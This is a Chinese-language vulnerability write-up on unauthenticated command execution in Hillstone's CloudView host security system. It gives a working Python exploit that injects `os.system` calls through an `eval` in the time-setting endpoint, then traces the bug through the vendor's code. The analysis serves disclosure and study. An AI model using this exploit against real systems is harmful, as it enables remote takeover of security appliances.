山石云鉴主机安全管理系统前台任意命令执行
漏洞名称
山石网科云鉴存在前台任意命令执行漏洞
漏洞复现
POC
import requests
import urllib3
urllib3.disable_warnings()
base_url = ""
'''
HSVD-2023-0008
'''
def setSystemTimeAction(newcsrf,headers):
url = base_url + "/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf
proxies = {'https':'http://127.0.0.1:8080'}
x = "param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config')"
req2 = requests.post(url, data=x,headers=headers, verify=False)
'''
HSVD-2023-0005
'''
def getMessageSettingAction(newcsrf,header):
proxies = {'https':'http://127.0.0.1:8080'}
company_uuid = "aaa"
platform_sel = "os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
url = base_url + '/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel
req = requests.get(url, headers=header, verify=False)
print(req.text)
def main():
headers = {"Cookie": "PHPSESSID=emhpeXVhbg;",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}
url = base_url + "/master/ajaxActions/getTokenAction.php"
req = requests.post(url, verify=False, headers=headers)
newcsrf = req.text.replace("\n", "")
setSystemTimeAction(newcsrf,headers)
reshell = requests.get(base_url + '/master/img/config',verify=False)
print('---------------------cmd-------------------------')
print(reshell.text)
if __name__ == '__main__':
main()
漏洞分析
根据 poc 可知关键函数为 setSystemTimeAction，关键请求为 base_url + "/master/ajaxActions/setSystemTimeAction.php，post 请求的参数为 param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config')
先分析 setSystemTimeAction.php 文件如何处理 http 请求
master\runtime\ajaxActions\setSystemTimeAction.php
<?php
include "../permission.php";
if(!isPermission('operator')){
echo "F";
return;
}else if(!verifyToken()){
echo "F";
return;
}
include_once "../includeUtils.php";
session_write_close();
$param= $_POST['param'];
$param=base64_encode($param);
$resp=setSysTime($param);
$resp = array("Status"=>$resp['status'], "Result"=>json_decode($resp['body']));
echo json_encode($resp,JSON_UNESCAPED_UNICODE);
?>
第 13、14行，将参数 x base64 编码后传递给 setSysTime 函数
function setSysTime($param){
return handleEmptyResult(postCommand("set-mp-time|".$param));
}
setSysTime 中又调用了 postCommand
function postCommand($parameter){
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1); // POST
curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter); // POST param
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$url = "http://".$GLOBALS['serverNm'].":8000/"; // URL
writeLog('post param is '.$parameter, 2);
writeLog('url is '.$url, 2);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$headers = array(
"Content-Length: ".strlen($parameter),
"Content-Type: application/x-www-form-urlencoded"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec ($ch);
writeLog('post api returns:'.$result, 2);
$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
writeLog($url.' status:'.$httpCode, 2);
writeLog($url.' get api returns:'.$result, 2);
curl_close ($ch);
return array("status"=>$httpCode, "body"=>$result);
}
postCommand 函数的主要功能是通过 curl 做 http post 请求链接 http://127.0.0.1:8000/
通过netstat -lntp查看监听 8000 端口进程的 pid，得知执行进程的命令
netstat -lntp
......
ps -p 2436 -o pid,ppid,cmd //
---------------------cmd-------------------------
PID PPID CMD
2436 1 python /opt/var/majorsec/installation/base/runtime/bin/python /opt/var/majorsec/installation/base/scripts/service/yamin/main.py
下面分析 /opt/var/majorsec/installation/base/scripts/service/yamin/main.py 是如何处理 http 请求的
此文件是一个基于 Tornado 框架的 Web 服务程序，它提供了一个接收 POST 请求的接口
介绍 — Tornado 4.3 文档 (tornado-zh.readthedocs.io)
主要处理逻辑 CommandHandler post 如下
class CommandHandler (tornado.web.RequestHandler):
# @gen.coroutine
def post(self):
try:
logging.debug('\n'.join(
'{0}:{1}'.format(k, v) for (k, v) in self.request.headers.get_all()
))
logging.debug(self.request.body)
command = self.request.body
ret, msg = routeCommand(command, self)
if ret and ret != "alreadySendToFrontEnd":
self.write(msg)
self.finish()
elif not ret:
logging.error(msg)
raise Exception(msg)
except Exception as e:
logging.error("CommandHandler Exception: {}".format(e))
raise tornado.web.HTTPError(400)
第 10、11 行将 http body 传递给了 routeCommand 处理
def routeCommand(commandline, handler):
global conf
if not commandline:
return False, "Invalid command"
if len(commandline) > 4096 or len(commandline) < 4:
return False, "Invalid command"
command, args = None, None
try:
l = commandline.split('|', 1)
command, args = l[:2] if len(l) > 1 else (l[0], '')
except Exception as e:
return False, "Cannot parse {}:{}".format(commandline, e)
stage = getStage()
if command not in commands[stage]:
return False, "Invalid command {0} at stage {1}".format(command, stage)
if stage in (2, 3) and not initStore():
return False, "Unavailable service"
conf['server'] = handler
try:
command = command.replace('-', '_')
return eval(command)(args=args.split('|'), conf=conf, store=store)
except Exception as e:
return False, e
routeCommand 功能为分割参数 commandline，将 | 之前的字符串赋值给 command，之后的赋值给 args，然后将 command 字符串中的- 替换为 _，最后通过 eval 执行此字符串
例如 commandline = "set-mp-time|base64_encode($param)"，处理后 command = "set_mp_time"，args = base64_encode($param)
下面分析 eval 执行的函数 set_mp_time(args) 的功能，位于 installation\base\scripts\service\yamin\set_command.py
def set_mp_time(**kwargs):
args = kwargs['args']
try:
time_config_keys = ["config", "zone", "datetime", "ntp_server_1", "ntp_server_2"]
try:
conf = eval(base64.b64decode(args[0]))
logging.info("get time config request: {}".format(conf))
for config_key in time_config_keys:
if config_key not in conf:
raise Exception("not found key: {}".format(config_key))
except Exception as e:
return True, setResult(1, errmsg="unexpected args: {}".format(e))
if not conf["zone"] == "" and not conf["zone"] == get_my_timezone():
logging.info("start to set timezone: {}".format(conf["zone"]))
logging.debug("timedatectl set-timezone {0}".format(conf["zone"]))
sys_command.run_sys_cmd("timedatectl set-timezone {0}".format(conf["zone"]))
php_conf_file = "/opt/etc/php.d/majorsec.ini"
if not os.access(php_conf_file, os.R_OK):
php_conf_file = "/opt/php/etc/php.d/majorsec.ini"
zone_setting = "date.timezone = {}".format(conf["zone"])
zone_setting = zone_setting.replace('/', '\/')
with open(php_conf_file, 'r') as php_conf:
php_zone = php_conf.readlines()[0].strip().replace('/', '\/')
logging.debug("sed -i -r 's/{0}/{1}/g' {2}".format(php_zone, zone_setting, php_conf_file))
sys_command.run_sys_cmd("sed -i -r 's/{0}/{1}/g' {2}".format(php_zone, zone_setting, php_conf_file))
if conf["config"] == "local":
if conf['datetime']:
try:
date = conf['datetime'].split(" ")[0]
Time = conf['datetime'].split(" ")[1]
except Exception:
raise Exception("parse datetime failed: {}".format(conf["datetime"]))
logging.debug("timedatectl set-ntp false")
sys_command.run_sys_cmd("timedatectl set-ntp false")
logging.debug("stop and disable chronyd service")
sys_command.run_sys_cmd("systemctl stop chronyd.service")
sys_command.run_sys_cmd("systemctl disable chronyd.service")
logging.debug('timedatectl set-time "{0} {1}"'.format(date, Time))
sys_command.run_sys_cmd('timedatectl set-time "{0} {1}"'.format(date, Time))
sys_command.run_sys_cmd("clock -w")
time.sleep(1)
else:
logging.debug("enable and start chronyd service")
sys_command.run_sys_cmd("systemctl enable chronyd.service")
p = ConfigParser.ConfigParser()
p.read(base_ini_path)
all_sections = p.sections()
if 'ntp' not in all_sections:
p.add_section('ntp')
p.set('ntp', 'server1', conf['ntp_server_1'])
p.set('ntp', 'server2', conf['ntp_server_2'])
p.write(open(base_ini_path, 'w'))
sync_setting_to_chronyd()
sys_command.run_sys_cmd("chronyc -a makestep")
return True, setResult(0, '')
except Exception as e:
sys_command.run_sys_cmd("rm -f /opt/tmp/nginx/.first_config_running")
logging.error("set time config exception: {}".format(e))
return True, setResult(1, errmsg="{}".format(e))
关键代码为第 7 行 conf = eval(base64.b64decode(args[0]))，通过 eval 执行了 base64 解码的参数
类似功能的简化代码如下
import os
def set_mp_time(args):
eval(args[0])
cmd = "set_mp_time"
args = "os.system('whoami')"
eval(cmd)(args = args.split('|'))
其中 args 是由 $param= $_POST['param']; 传递来的，所以 payload 为 param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config') ，由于没有回显，所以要将命令执行结果重定向到可以访问的文件中，最后通过访问 http://url/master/img/config 查看命令结果
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